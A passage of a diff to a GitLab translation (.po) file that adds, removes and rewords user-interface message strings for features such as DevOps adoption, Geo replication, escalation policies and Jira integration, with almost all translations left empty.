@@ -10166,9 +10234,6 @@ msgstr ""
msgid "DastProfiles|Password form field"
msgstr ""
-msgid "DastProfiles|Please enter a valid timeout value"
-msgstr ""
-
msgid "DastProfiles|Profile name"
msgstr ""
@@ -10534,6 +10599,9 @@ msgstr ""
msgid "Delete Comment"
msgstr ""
+msgid "Delete Key"
+msgstr ""
+
msgid "Delete Value Stream"
msgstr ""
@@ -11250,22 +11318,28 @@ msgstr ""
msgid "DevopsAdoption|Are you sure that you would like to remove %{name} from the table?"
msgstr ""
-msgid "DevopsAdoption|At least 1 MR opened"
+msgid "DevopsAdoption|At least one MR opened"
msgstr ""
-msgid "DevopsAdoption|At least 1 approval on an MR"
+msgid "DevopsAdoption|At least one approval on an MR"
msgstr ""
-msgid "DevopsAdoption|At least 1 deploy"
+msgid "DevopsAdoption|At least one deploy"
msgstr ""
-msgid "DevopsAdoption|At least 1 issue opened"
+msgid "DevopsAdoption|At least one issue opened"
msgstr ""
-msgid "DevopsAdoption|At least 1 pipeline successfully run"
+msgid "DevopsAdoption|At least one pipeline successfully run"
msgstr ""
-msgid "DevopsAdoption|At least 1 security scan of any type run in pipeline"
+msgid "DevopsAdoption|At least one security scan of any type run in pipeline"
+msgstr ""
+
+msgid "DevopsAdoption|Code owners"
+msgstr ""
+
+msgid "DevopsAdoption|Code owners enabled for at least one project"
msgstr ""
msgid "DevopsAdoption|Confirm remove Group"
@@ -11274,6 +11348,9 @@ msgstr ""
msgid "DevopsAdoption|Deploys"
msgstr ""
+msgid "DevopsAdoption|Dev"
+msgstr ""
+
msgid "DevopsAdoption|DevOps adoption tracks the use of key features across your favorite groups. Add a group to the table to begin."
msgstr ""
@@ -11301,6 +11378,9 @@ msgstr ""
msgid "DevopsAdoption|Not adopted"
msgstr ""
+msgid "DevopsAdoption|Ops"
+msgstr ""
+
msgid "DevopsAdoption|Pipelines"
msgstr ""
@@ -11322,6 +11402,9 @@ msgstr ""
msgid "DevopsAdoption|Scanning"
msgstr ""
+msgid "DevopsAdoption|Sec"
+msgstr ""
+
msgid "DevopsAdoption|There was an error enabling the current group. Please refresh the page."
msgstr ""
@@ -11334,21 +11417,33 @@ msgstr ""
msgid "DevopsAdoption|You cannot remove the group you are currently in."
msgstr ""
-msgid "DevopsReport|Adoption"
+msgid "DevopsReport|DevOps Score"
msgstr ""
-msgid "DevopsReport|DevOps"
+msgid "DevopsReport|DevOps score metrics are based on usage over the last 30 days. Last updated: %{timestamp}."
msgstr ""
-msgid "DevopsReport|DevOps Score"
+msgid "DevopsReport|High"
msgstr ""
-msgid "DevopsReport|DevOps score metrics are based on usage over the last 30 days. Last updated: %{timestamp}."
+msgid "DevopsReport|Leader usage"
+msgstr ""
+
+msgid "DevopsReport|Low"
+msgstr ""
+
+msgid "DevopsReport|Moderate"
msgstr ""
msgid "DevopsReport|Score"
msgstr ""
+msgid "DevopsReport|Your score"
+msgstr ""
+
+msgid "DevopsReport|Your usage"
+msgstr ""
+
msgid "Didn't receive a confirmation email?"
msgstr ""
@@ -11415,15 +11510,15 @@ msgstr ""
msgid "Disable public access to Pages sites"
msgstr ""
-msgid "Disable shared runners"
-msgstr ""
-
msgid "Disable two-factor authentication"
msgstr ""
msgid "Disabled"
msgstr ""
+msgid "Disabled by %{parent} owner"
+msgstr ""
+
msgid "Disabled mirrors can only be enabled by instance owners. It is recommended that you delete them."
msgstr ""
@@ -11451,6 +11546,9 @@ msgstr ""
msgid "DiscordService|Send notifications about project events to a Discord channel."
msgstr ""
+msgid "Discover"
+msgstr ""
+
msgid "Discover GitLab Geo"
msgstr ""
@@ -11678,7 +11776,7 @@ msgstr ""
msgid "Draft merge requests can't be merged."
msgstr ""
-msgid "Drop or %{linkStart}upload%{linkEnd} designs to attach"
+msgid "Drag your designs here or %{linkStart}click to upload%{linkEnd}."
msgstr ""
msgid "Drop or %{linkStart}upload%{linkEnd} file to attach"
@@ -11693,6 +11791,24 @@ msgstr ""
msgid "Drop your files to start your upload."
msgstr ""
+msgid "DropdownWidget|An error occurred while fetching the assigned %{issuableAttribute} of the selected %{issuableType}."
+msgstr ""
+
+msgid "DropdownWidget|Assign %{issuableAttribute}"
+msgstr ""
+
+msgid "DropdownWidget|Failed to fetch the %{issuableAttribute} for this %{issuableType}. Please try again."
+msgstr ""
+
+msgid "DropdownWidget|Failed to set %{issuableAttribute} on this %{issuableType}. Please try again."
+msgstr ""
+
+msgid "DropdownWidget|No %{issuableAttribute}"
+msgstr ""
+
+msgid "DropdownWidget|No %{issuableAttribute} found"
+msgstr ""
+
msgid "Due Date"
msgstr ""
@@ -11702,9 +11818,6 @@ msgstr ""
msgid "Duration"
msgstr ""
-msgid "Duration for the last 30 commits"
-msgstr ""
-
msgid "During this process, you’ll be asked for URLs from GitLab’s side. Use the URLs shown below."
msgstr ""
@@ -11819,9 +11932,6 @@ msgstr ""
msgid "Edit sidebar"
msgstr ""
-msgid "Edit stage"
-msgstr ""
-
msgid "Edit this file only."
msgstr ""
@@ -11876,6 +11986,9 @@ msgstr ""
msgid "Elasticsearch reindexing triggered"
msgstr ""
+msgid "Elasticsearch reindexing was not started: %{errors}"
+msgstr ""
+
msgid "Elasticsearch returned status code: %{status_code}"
msgstr ""
@@ -12005,13 +12118,13 @@ msgstr ""
msgid "Embed"
msgstr ""
-msgid "Empty file"
+msgid "Embed an image of your existing Jaeger server in GitLab."
msgstr ""
-msgid "Enable"
+msgid "Empty file"
msgstr ""
-msgid "Enable %{linkStart}Gitpod%{linkEnd} integration to launch a development environment in your browser directly from GitLab."
+msgid "Enable"
msgstr ""
msgid "Enable Auto DevOps"
@@ -12089,6 +12202,9 @@ msgstr ""
msgid "Enable authenticated API request rate limit"
msgstr ""
+msgid "Enable authentication"
+msgstr ""
+
msgid "Enable automatic repository housekeeping (git repack, git gc)"
msgstr ""
@@ -12134,9 +12250,6 @@ msgstr ""
msgid "Enable or disable Seat Link."
msgstr ""
-msgid "Enable or disable keyboard shortcuts"
-msgstr ""
-
msgid "Enable or disable the Pseudonymizer data collection."
msgstr ""
@@ -12158,9 +12271,6 @@ msgstr ""
msgid "Enable reCAPTCHA, Invisible Captcha, Akismet and set IP limits. For reCAPTCHA, we currently only support %{recaptcha_v2_link_start}v2%{recaptcha_v2_link_end}"
msgstr ""
-msgid "Enable shared runners"
-msgstr ""
-
msgid "Enable shared runners for all projects and subgroups in this group."
msgstr ""
@@ -12830,9 +12940,6 @@ msgstr ""
msgid "Error occurred when saving reviewers"
msgstr ""
-msgid "Error occurred when toggling the notification subscription"
-msgstr ""
-
msgid "Error occurred while updating the issue status"
msgstr ""
@@ -12845,12 +12952,18 @@ msgstr ""
msgid "Error occurred. A blocked user must be unblocked to be activated"
msgstr ""
+msgid "Error occurred. User was not banned"
+msgstr ""
+
msgid "Error occurred. User was not blocked"
msgstr ""
msgid "Error occurred. User was not confirmed"
msgstr ""
+msgid "Error occurred. User was not unbanned"
+msgstr ""
+
msgid "Error occurred. User was not unblocked"
msgstr ""
@@ -12959,6 +13072,54 @@ msgstr ""
msgid "Errors:"
msgstr ""
+msgid "Escalation Policies"
+msgstr ""
+
+msgid "Escalation policies"
+msgstr ""
+
+msgid "Escalation policies are not supported for this project"
+msgstr ""
+
+msgid "EscalationPolicies|+ Add an additional rule"
+msgstr ""
+
+msgid "EscalationPolicies|A schedule is required for adding an escalation policy."
+msgstr ""
+
+msgid "EscalationPolicies|Add an escalation policy"
+msgstr ""
+
+msgid "EscalationPolicies|Add escalation policy"
+msgstr ""
+
+msgid "EscalationPolicies|Create an escalation policy in GitLab"
+msgstr ""
+
+msgid "EscalationPolicies|Edit escalation policy"
+msgstr ""
+
+msgid "EscalationPolicies|Email on-call user in schedule"
+msgstr ""
+
+msgid "EscalationPolicies|Escalation rules"
+msgstr ""
+
+msgid "EscalationPolicies|Failed to load oncall-schedules"
+msgstr ""
+
+msgid "EscalationPolicies|IF alert is not %{alertStatus} in %{minutes} minutes"
+msgstr ""
+
+msgid "EscalationPolicies|Select schedule"
+msgstr ""
+
+msgid "EscalationPolicies|Set up escalation policies to define who is paged, and when, in the event the first users paged don't respond."
+msgstr ""
+
+msgid "EscalationPolicies|THEN %{doAction} %{schedule}"
+msgstr ""
+
msgid "Estimate"
msgstr ""
@@ -13020,7 +13181,9 @@ msgid "Every two weeks"
msgstr ""
msgid "Every week"
-msgstr ""
+msgid_plural "Every %d weeks"
+msgstr[0] ""
+msgstr[1] ""
msgid "Every week (%{weekday} at %{time})"
msgstr ""
@@ -13663,6 +13826,9 @@ msgstr ""
msgid "FeatureFlags|Feature Flag User List Details"
msgstr ""
+msgid "FeatureFlags|Feature Flag User Lists"
+msgstr ""
+
msgid "FeatureFlags|Feature Flag behavior is built up by creating a set of rules to define the status of target environments. A default wildcard rule %{codeStart}*%{codeEnd} for %{boldStart}All Environments%{boldEnd} is set, and you are able to add as many rules as you need by choosing environment specs below. You can toggle the behavior for each of your rules to set them %{boldStart}Active%{boldEnd} or %{boldStart}Inactive%{boldEnd}."
msgstr ""
@@ -13687,9 +13853,6 @@ msgstr ""
msgid "FeatureFlags|Get started with feature flags"
msgstr ""
-msgid "FeatureFlags|Get started with user lists"
-msgstr ""
-
msgid "FeatureFlags|GitLab is moving to a new way of managing feature flags. This feature flag is read-only, and it will be removed in 14.0. Please create a new feature flag."
msgstr ""
@@ -13717,9 +13880,6 @@ msgstr ""
msgid "FeatureFlags|Loading feature flags"
msgstr ""
-msgid "FeatureFlags|Loading user lists"
-msgstr ""
-
msgid "FeatureFlags|More information"
msgstr ""
@@ -13738,9 +13898,6 @@ msgstr ""
msgid "FeatureFlags|New feature flag"
msgstr ""
-msgid "FeatureFlags|New user list"
-msgstr ""
-
msgid "FeatureFlags|No user list selected"
msgstr ""
@@ -13783,9 +13940,6 @@ msgstr ""
msgid "FeatureFlags|There was an error fetching the feature flags."
msgstr ""
-msgid "FeatureFlags|There was an error fetching the user lists."
-msgstr ""
-
msgid "FeatureFlags|To prevent accidental actions we ask you to confirm your intention. Please type %{projectName} to proceed or close this modal to cancel."
msgstr ""
@@ -13801,7 +13955,7 @@ msgstr ""
msgid "FeatureFlags|User Lists"
msgstr ""
-msgid "FeatureFlags|User lists allow you to define a set of users to use with Feature Flags."
+msgid "FeatureFlags|View user lists"
msgstr ""
msgid "FeatureFlag|Percentage"
@@ -14052,6 +14206,15 @@ msgstr ""
msgid "Flags"
msgstr ""
+msgid "FloC|Configure whether you want to participate in FloC."
+msgstr ""
+
+msgid "FloC|Enable FloC (Federated Learning of Cohorts)"
+msgstr ""
+
+msgid "FloC|Federated Learning of Cohorts"
+msgstr ""
+
msgid "FlowdockService|1b609b52537..."
msgstr ""
@@ -14157,6 +14320,9 @@ msgstr ""
msgid "ForkProject|A fork is a copy of a project."
msgstr ""
+msgid "ForkProject|An error occurred while forking the project. Please try again."
+msgstr ""
+
msgid "ForkProject|Cancel"
msgstr ""
@@ -14175,6 +14341,9 @@ msgstr ""
msgid "ForkProject|Please select a namespace"
msgstr ""
+msgid "ForkProject|Please select a visibility level"
+msgstr ""
+
msgid "ForkProject|Private"
msgstr ""
@@ -14202,6 +14371,15 @@ msgstr ""
msgid "ForkProject|Want to house several dependent projects under the same namespace?"
msgstr ""
+msgid "ForkSuggestion|Cancel"
+msgstr ""
+
+msgid "ForkSuggestion|Fork"
+msgstr ""
+
+msgid "ForkSuggestion|You can’t %{edit_start}edit%{edit_end} files directly in this project. Fork this project and submit a merge request with your changes."
+msgstr ""
+
msgid "ForkedFromProjectPath|Forked from"
msgstr "Disbranĉigita el"
@@ -14469,6 +14647,9 @@ msgstr ""
msgid "Geo|%{component} synced"
msgstr ""
+msgid "Geo|%{component} verified"
+msgstr ""
+
msgid "Geo|%{itemTitle} checksum progress"
msgstr ""
@@ -14496,6 +14677,9 @@ msgstr ""
msgid "Geo|%{title} checksum progress"
msgstr ""
+msgid "Geo|(%{timeAgo})"
+msgstr ""
+
msgid "Geo|Add site"
msgstr ""
@@ -14523,6 +14707,9 @@ msgstr ""
msgid "Geo|Allowed Geo IP should contain valid IP addresses"
msgstr ""
+msgid "Geo|Checksummed"
+msgstr ""
+
msgid "Geo|Connection timeout can't be blank"
msgstr ""
@@ -14547,6 +14734,9 @@ msgstr ""
msgid "Geo|Data type"
msgstr ""
+msgid "Geo|Disabled"
+msgstr ""
+
msgid "Geo|Discover GitLab Geo"
msgstr ""
@@ -14574,6 +14764,9 @@ msgstr ""
msgid "Geo|Go to the primary site"
msgstr ""
+msgid "Geo|Healthy"
+msgstr ""
+
msgid "Geo|If you want to make changes, you must visit the primary site."
msgstr ""
@@ -14619,6 +14812,9 @@ msgstr ""
msgid "Geo|Next sync scheduled at"
msgstr ""
+msgid "Geo|No available replication slots"
+msgstr ""
+
msgid "Geo|Node name can't be blank"
msgstr ""
@@ -14631,10 +14827,16 @@ msgstr ""
msgid "Geo|Not synced yet"
msgstr ""
+msgid "Geo|Nothing to checksum"
+msgstr ""
+
msgid "Geo|Nothing to synchronize"
msgstr ""
-msgid "Geo|Number of %{title}"
+msgid "Geo|Nothing to verify"
+msgstr ""
+
+msgid "Geo|Offline"
msgstr ""
msgid "Geo|Pending synchronization"
@@ -14799,6 +15001,12 @@ msgstr ""
msgid "Geo|Undefined"
msgstr ""
+msgid "Geo|Unhealthy"
+msgstr ""
+
+msgid "Geo|Unknown"
+msgstr ""
+
msgid "Geo|Unknown state"
msgstr ""
@@ -14811,10 +15019,13 @@ msgstr ""
msgid "Geo|Verification failed - %{error}"
msgstr ""
+msgid "Geo|Verification information"
+msgstr ""
+
msgid "Geo|Verification status"
msgstr ""
-msgid "Geo|Verificaton information"
+msgid "Geo|Verified"
msgstr ""
msgid "Geo|Waiting for scheduler"
@@ -15060,9 +15271,6 @@ msgstr ""
msgid "GitLabPages|GitLab Pages are disabled for this project. You can enable them on your project's %{strong_start}Settings &gt; General &gt; Visibility%{strong_end} page."
msgstr ""
-msgid "GitLabPages|It may take up to 30 minutes before the site is available after the first deployment."
-msgstr ""
-
msgid "GitLabPages|Maximum size of pages (MB)"
msgstr ""
@@ -15159,16 +15367,19 @@ msgstr ""
msgid "Gitpod"
msgstr ""
-msgid "Gitpod|Add the URL to your Gitpod instance configured to read your GitLab projects."
-msgstr ""
-
msgid "Gitpod|Enable Gitpod integration"
msgstr ""
msgid "Gitpod|Gitpod URL"
msgstr ""
-msgid "Gitpod|e.g. https://gitpod.example.com"
+msgid "Gitpod|The URL to your Gitpod instance configured to read your GitLab projects, such as https://gitpod.example.com."
+msgstr ""
+
+msgid "Gitpod|To use the integration, each user must also enable Gitpod on their GitLab account. %{link_start}How do I enable it?%{link_end} "
+msgstr ""
+
+msgid "Gitpod|https://gitpod.example.com"
msgstr ""
msgid "Given access %{time_ago}"
@@ -15201,9 +15412,6 @@ msgstr ""
msgid "Go full screen"
msgstr ""
-msgid "Go to Webhooks"
-msgstr ""
-
msgid "Go to commits"
msgstr ""
@@ -15258,6 +15466,9 @@ msgstr ""
msgid "Go to previous page"
msgstr ""
+msgid "Go to primary node"
+msgstr ""
+
msgid "Go to project"
msgstr ""
@@ -15336,7 +15547,7 @@ msgstr ""
msgid "GrafanaIntegration|Active"
msgstr ""
-msgid "GrafanaIntegration|Enter the Grafana API token."
+msgid "GrafanaIntegration|Enter the %{docLinkStart}Grafana API token%{docLinkEnd}."
msgstr ""
msgid "GrafanaIntegration|Enter the base URL of the Grafana instance."
@@ -15450,6 +15661,9 @@ msgstr ""
msgid "Group info:"
msgstr ""
+msgid "Group information"
+msgstr ""
+
msgid "Group is required when cluster_type is :group"
msgstr ""
@@ -15510,6 +15724,9 @@ msgstr ""
msgid "Group runners can be managed with the %{link}."
msgstr ""
+msgid "Group sharing provides access to all group members (including members who inherited group membership from a parent group)."
+msgstr ""
+
msgid "Group variables (inherited)"
msgstr ""
@@ -15531,13 +15748,16 @@ msgstr ""
msgid "GroupActivityMetrics|Issues opened"
msgstr ""
+msgid "GroupActivityMetrics|Last 90 days"
+msgstr ""
+
msgid "GroupActivityMetrics|Members added"
msgstr ""
msgid "GroupActivityMetrics|Merge Requests opened"
msgstr ""
-msgid "GroupActivityMetrics|Recent activity (last 90 days)"
+msgid "GroupActivityMetrics|Recent activity"
msgstr ""
msgid "GroupImport|Failed to import group."
@@ -15600,6 +15820,9 @@ msgstr ""
msgid "GroupRoadmap|To widen your search, change or remove filters; from %{startDate} to %{endDate}."
msgstr ""
+msgid "GroupSAML|%{strongOpen}Warning%{strongClose} - Enabling %{linkStart}SSO enforcement%{linkEnd} can reduce security risks."
+msgstr ""
+
msgid "GroupSAML|Active SAML Group Links (%{count})"
msgstr ""
@@ -15918,9 +16141,6 @@ msgstr ""
msgid "Groups and subgroups"
msgstr ""
-msgid "Groups can also be nested by creating %{subgroup_docs_link_start}subgroups%{subgroup_docs_link_end}."
-msgstr ""
-
msgid "Groups to synchronize"
msgstr ""
@@ -15957,22 +16177,31 @@ msgstr ""
msgid "GroupsEmptyState|You can manage your group member’s permissions and access to each project in the group."
msgstr ""
+msgid "GroupsNew|%{linkStart}Groups%{linkEnd} allow you to manage and collaborate across multiple projects. Members of a group have access to all of its projects. Groups can also be nested by creating subgroups."
+msgstr ""
+
+msgid "GroupsNew|Assemble related projects together and grant members access to several projects at once."
+msgstr ""
+
msgid "GroupsNew|Connect instance"
msgstr ""
msgid "GroupsNew|Contact an administrator to enable options for importing your group."
msgstr ""
-msgid "GroupsNew|Create"
+msgid "GroupsNew|Create group"
+msgstr ""
+
+msgid "GroupsNew|Create new group"
msgstr ""
-msgid "GroupsNew|Create group"
+msgid "GroupsNew|Export groups with all their related data and move to a new GitLab instance."
msgstr ""
msgid "GroupsNew|GitLab source URL"
msgstr ""
-msgid "GroupsNew|Import"
+msgid "GroupsNew|Groups can also be nested by creating %{linkStart}subgroups%{linkEnd}."
msgstr ""
msgid "GroupsNew|Import group"
@@ -16044,7 +16273,7 @@ msgstr ""
msgid "HAR (HTTP Archive)"
msgstr ""
-msgid "HAR file path"
+msgid "HAR file path or URL"
msgstr ""
msgid "HTTP Basic: Access denied\\nYou must use a personal access token with 'api' scope for Git over HTTP.\\nYou can generate one at %{profile_personal_access_tokens_url}"
@@ -16059,6 +16288,9 @@ msgstr ""
msgid "Hashed storage can't be disabled anymore for new projects"
msgstr ""
+msgid "Header cannot be associated with both a request and a response"
+msgstr ""
+
msgid "Header logo"
msgstr ""
@@ -16071,6 +16303,18 @@ msgstr ""
msgid "Header message"
msgstr ""
+msgid "Header must be associated with a request or response"
+msgstr ""
+
+msgid "Heading 1"
+msgstr ""
+
+msgid "Heading 2"
+msgstr ""
+
+msgid "Heading 3"
+msgstr ""
+
msgid "Headings"
msgstr ""
@@ -16187,9 +16431,6 @@ msgstr ""
msgid "Hide shared projects"
msgstr ""
-msgid "Hide stage"
-msgstr ""
-
msgid "Hide value"
msgid_plural "Hide values"
msgstr[0] ""
@@ -16219,9 +16460,6 @@ msgstr ""
msgid "HighlightBar|Time to SLA:"
msgstr ""
-msgid "HipChat endpoint is deprecated and should not be created or modified."
-msgstr ""
-
msgid "History"
msgstr ""
@@ -16306,9 +16544,24 @@ msgstr ""
msgid "I have read and agree to the Let's Encrypt %{link_start}Terms of Service%{link_end} (PDF)"
msgstr ""
+msgid "I want to explore GitLab to see if it’s worth switching to"
+msgstr ""
+
+msgid "I want to learn the basics of Git"
+msgstr ""
+
+msgid "I want to move my repository to GitLab from somewhere else"
+msgstr ""
+
+msgid "I want to use GitLab CI with my existing repository"
+msgstr ""
+
msgid "I'd like to receive updates about GitLab via email"
msgstr ""
+msgid "I'm signing up for GitLab because:"
+msgstr ""
+
msgid "ID"
msgstr ""
@@ -16318,9 +16571,6 @@ msgstr ""
msgid "IDE"
msgstr ""
-msgid "IDE|Allow live previews of JavaScript projects in the Web IDE using CodeSandbox Live Preview."
-msgstr ""
-
msgid "IDE|Back"
msgstr ""
@@ -16474,6 +16724,9 @@ msgstr ""
msgid "If you want to re-enable two-factor authentication, visit the %{settings_link_to} page."
msgstr ""
+msgid "If you've purchased or renewed your subscription and have an activation code, please enter it below to start the activation process."
+msgstr ""
+
msgid "If your HTTP repository is not publicly accessible, add your credentials."
msgstr ""
@@ -16720,6 +16973,9 @@ msgstr ""
msgid "InProductMarketing|%{strong_start}Multiple approval roles%{strong_end} — including code owners and required merge approvals"
msgstr ""
+msgid "InProductMarketing|%{strong_start}Overall, how difficult or easy was it to get started with GitLab?%{strong_end}"
+msgstr ""
+
msgid "InProductMarketing|*GitLab*, noun: a synonym for efficient teams"
msgstr ""
@@ -16753,6 +17009,9 @@ msgstr ""
msgid "InProductMarketing|By enabling code owners and required merge approvals the right person will review the right MR. This is a win-win: cleaner code and a more efficient review process."
msgstr ""
+msgid "InProductMarketing|Click on the number below that corresponds with your answer — 1 being very difficult, 5 being very easy."
+msgstr ""
+
msgid "InProductMarketing|Code owners and required merge approvals are part of the paid tiers of GitLab. You can start a free 30-day trial of GitLab Ultimate and enable these features in less than 5 minutes with no credit card required."
msgstr ""
@@ -16765,9 +17024,18 @@ msgstr ""
msgid "InProductMarketing|Did you know teams that use GitLab are far more efficient?"
msgstr ""
+msgid "InProductMarketing|Difficult"
+msgstr ""
+
msgid "InProductMarketing|Dig in and create a project and a repo"
msgstr ""
+msgid "InProductMarketing|Do you have a minute?"
+msgstr ""
+
+msgid "InProductMarketing|Easy"
+msgstr ""
+
msgid "InProductMarketing|Explore GitLab CI/CD"
msgstr ""
@@ -16780,6 +17048,9 @@ msgstr ""
msgid "InProductMarketing|Facebook"
msgstr ""
+msgid "InProductMarketing|Feedback from users like you really improves our product. Thanks for your help!"
+msgstr ""
+
msgid "InProductMarketing|Feel the need for speed?"
msgstr ""
@@ -16906,6 +17177,9 @@ msgstr ""
msgid "InProductMarketing|Need an alternative to importing?"
msgstr ""
+msgid "InProductMarketing|Neutral"
+msgstr ""
+
msgid "InProductMarketing|Our tool brings all the things together"
msgstr ""
@@ -16945,6 +17219,9 @@ msgstr ""
msgid "InProductMarketing|Streamline code review, know at a glance who's unavailable, communicate in comments or in email and integrate with Slack so everyone's on the same page."
msgstr ""
+msgid "InProductMarketing|Take this 1-question survey!"
+msgstr ""
+
msgid "InProductMarketing|Take your first steps with GitLab"
msgstr ""
@@ -16960,10 +17237,10 @@ msgstr ""
msgid "InProductMarketing|That's all it takes to get going with GitLab, but if you're new to working with Git, check out our %{basics_link} for helpful tips and tricks for getting started."
msgstr ""
-msgid "InProductMarketing|This is email %{series} of 3 in the %{track} series."
+msgid "InProductMarketing|This is email %{current_series} of %{total_series} in the %{track} series."
msgstr ""
-msgid "InProductMarketing|This is email %{series} of 3 in the %{track} series. To disable notification emails sent by your local GitLab instance, either contact your administrator or %{unsubscribe_link}."
+msgid "InProductMarketing|This is email %{current_series} of %{total_series} in the %{track} series. To disable notification emails sent by your local GitLab instance, either contact your administrator or %{unsubscribe_link}."
msgstr ""
msgid "InProductMarketing|Ticketmaster decreased their CI build time by 15X"
@@ -16999,9 +17276,18 @@ msgstr ""
msgid "InProductMarketing|Use GitLab CI/CD"
msgstr ""
+msgid "InProductMarketing|Very difficult"
+msgstr ""
+
+msgid "InProductMarketing|Very easy"
+msgstr ""
+
msgid "InProductMarketing|We know a thing or two about efficiency and we don't want to keep that to ourselves. Sign up for a free trial of GitLab Ultimate and your teams will be on it from day one."
msgstr ""
+msgid "InProductMarketing|We want your GitLab experience to be great"
+msgstr ""
+
msgid "InProductMarketing|What does our value stream timeline look like from product to development to review and production?"
msgstr ""
@@ -17077,6 +17363,9 @@ msgstr ""
msgid "IncidentManagement|%{minutes} minutes remaining"
msgstr ""
+msgid "IncidentManagement|Achieved SLA"
+msgstr ""
+
msgid "IncidentManagement|All"
msgstr ""
@@ -17116,6 +17405,9 @@ msgstr ""
msgid "IncidentManagement|Medium - S3"
msgstr ""
+msgid "IncidentManagement|Missed SLA"
+msgstr ""
+
msgid "IncidentManagement|No incidents to display."
msgstr ""
@@ -17155,6 +17447,9 @@ msgstr ""
msgid "IncidentSettings|Alert integration"
msgstr ""
+msgid "IncidentSettings|Fine-tune incident settings and set up integrations with external tools to help better manage incidents."
+msgstr ""
+
msgid "IncidentSettings|Grafana integration"
msgstr ""
@@ -17170,9 +17465,6 @@ msgstr ""
msgid "IncidentSettings|PagerDuty integration"
msgstr ""
-msgid "IncidentSettings|Set up integrations with external tools to help better manage incidents."
-msgstr ""
-
msgid "IncidentSettings|Time limit"
msgstr ""
@@ -17302,7 +17594,7 @@ msgstr ""
msgid "Inform users without uploaded SSH keys that they can't push over SSH until one is added"
msgstr ""
-msgid "Information about additional Pages templates and how to install them can be found in our %{pages_getting_started_guide}."
+msgid "Infrastructure"
msgstr ""
msgid "Infrastructure Registry"
@@ -17499,10 +17791,10 @@ msgstr ""
msgid "Integrations|Failed to unlink namespace. Please try again."
msgstr ""
-msgid "Integrations|Includes Standard plus entire commit message, commit hash, and issue IDs"
+msgid "Integrations|Includes Standard, plus the entire commit message, commit hash, and issue IDs"
msgstr ""
-msgid "Integrations|Includes commit title and branch"
+msgid "Integrations|Includes commit title and branch."
msgstr ""
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
@@ -17580,7 +17872,7 @@ msgstr ""
msgid "Integrations|Use default settings"
msgstr ""
-msgid "Integrations|When a Jira issue is mentioned in a commit or merge request a remote link and comment (if enabled) is created."
+msgid "Integrations|When you mention a Jira issue in a commit or merge request, GitLab creates a remote link and comment (if enabled)."
msgstr ""
msgid "Integrations|You can now close this window and return to the GitLab for Jira application."
@@ -17766,7 +18058,7 @@ msgstr ""
msgid "InviteEmail|As a guest, you can view projects, leave comments, and create issues."
msgstr ""
-msgid "InviteEmail|As a maintainer, you have full access to projects. You can push commits to master and deploy to production."
+msgid "InviteEmail|As a maintainer, you have full access to projects. You can push commits to the default branch and deploy to production."
msgstr ""
msgid "InviteEmail|As a reporter, you can view projects and reports, and leave comments on issues."
@@ -18000,6 +18292,9 @@ msgstr ""
msgid "Issue Boards"
msgstr ""
+msgid "Issue Type"
+msgstr ""
+
msgid "Issue already promoted to epic."
msgstr ""
@@ -18069,12 +18364,6 @@ msgstr ""
msgid "IssueAnalytics|Weight"
msgstr ""
-msgid "IssueBoards|An error occurred while assigning the selected epic to the issue."
-msgstr ""
-
-msgid "IssueBoards|An error occurred while fetching the assigned epic of the selected issue."
-msgstr ""
-
msgid "IssueBoards|An error occurred while setting notifications status. Please try again."
msgstr ""
@@ -18102,6 +18391,27 @@ msgstr ""
msgid "IssueTracker|Custom issue tracker"
msgstr ""
+msgid "IssueTracker|Issue URL"
+msgstr ""
+
+msgid "IssueTracker|New issue URL"
+msgstr ""
+
+msgid "IssueTracker|The URL to create an issue in the external issue tracker."
+msgstr ""
+
+msgid "IssueTracker|The URL to the project in YouTrack."
+msgstr ""
+
+msgid "IssueTracker|The URL to the project in the external issue tracker."
+msgstr ""
+
+msgid "IssueTracker|The URL to view an issue in the YouTrack project. Must contain %{colon_id}."
+msgstr ""
+
+msgid "IssueTracker|The URL to view an issue in the external issue tracker. Must contain %{colon_id}."
+msgstr ""
+
msgid "IssueTracker|Use Bugzilla as this project's issue tracker."
msgstr ""
@@ -18147,6 +18457,9 @@ msgstr ""
msgid "Issues closed"
msgstr ""
+msgid "Issues manual ordering is temporarily disabled for technical reasons."
+msgstr ""
+
msgid "Issues must match this scope to appear in this list."
msgstr ""
@@ -18249,6 +18562,9 @@ msgstr ""
msgid "Iterations|Duration"
msgstr ""
+msgid "Iterations|Error loading iteration cadences."
+msgstr ""
+
msgid "Iterations|Future iterations"
msgstr ""
@@ -18258,6 +18574,12 @@ msgstr ""
msgid "Iterations|New iteration cadence"
msgstr ""
+msgid "Iterations|No iteration cadences to show."
+msgstr ""
+
+msgid "Iterations|No iterations in cadence."
+msgstr ""
+
msgid "Iterations|Number of future iterations you would like to have scheduled"
msgstr ""
@@ -18291,13 +18613,13 @@ msgstr ""
msgid "I’m familiar with the basics of DevOps."
msgstr ""
-msgid "I’m not familiar with the basics of DevOps."
+msgid "I’m joining my team who’s already on GitLab"
msgstr ""
-msgid "Jaeger URL"
+msgid "I’m not familiar with the basics of DevOps."
msgstr ""
-msgid "Jaeger tracing"
+msgid "Jaeger URL"
msgstr ""
msgid "Jan"
@@ -18321,7 +18643,7 @@ msgstr ""
msgid "Jira integration not configured."
msgstr ""
-msgid "Jira project key is not configured"
+msgid "Jira project key is not configured."
msgstr ""
msgid "Jira project: %{importProject}"
@@ -18396,6 +18718,9 @@ msgstr ""
msgid "JiraService|GitLab for Jira Configuration"
msgstr ""
+msgid "JiraService|IDs must be a list of numbers that can be split with , or ;"
+msgstr ""
+
msgid "JiraService|If different from Web URL."
msgstr ""
@@ -18411,10 +18736,10 @@ msgstr ""
msgid "JiraService|Jira Issues"
msgstr ""
-msgid "JiraService|Jira comments will be created when an issue gets referenced in a commit."
+msgid "JiraService|Jira comments are created when an issue is referenced in a commit."
msgstr ""
-msgid "JiraService|Jira comments will be created when an issue gets referenced in a merge request."
+msgid "JiraService|Jira comments are created when an issue is referenced in a merge request."
msgstr ""
msgid "JiraService|Jira issue type"
@@ -18501,7 +18826,7 @@ msgstr ""
msgid "JiraService|Work on Jira issues without leaving GitLab. Adds a Jira menu to access your list of Jira issues and view any issue as read-only."
msgstr ""
-msgid "JiraService|transition ids can have only numbers which can be split with , or ;"
+msgid "JiraService|You need to configure Jira before enabling this integration. For more details, read the %{jira_doc_link_start}Jira integration documentation%{link_end}."
msgstr ""
msgid "Job"
@@ -18549,6 +18874,18 @@ msgstr ""
msgid "Job was retried"
msgstr ""
+msgid "JobName|build-job"
+msgstr ""
+
+msgid "JobName|deploy-app"
+msgstr ""
+
+msgid "JobName|lint-test"
+msgstr ""
+
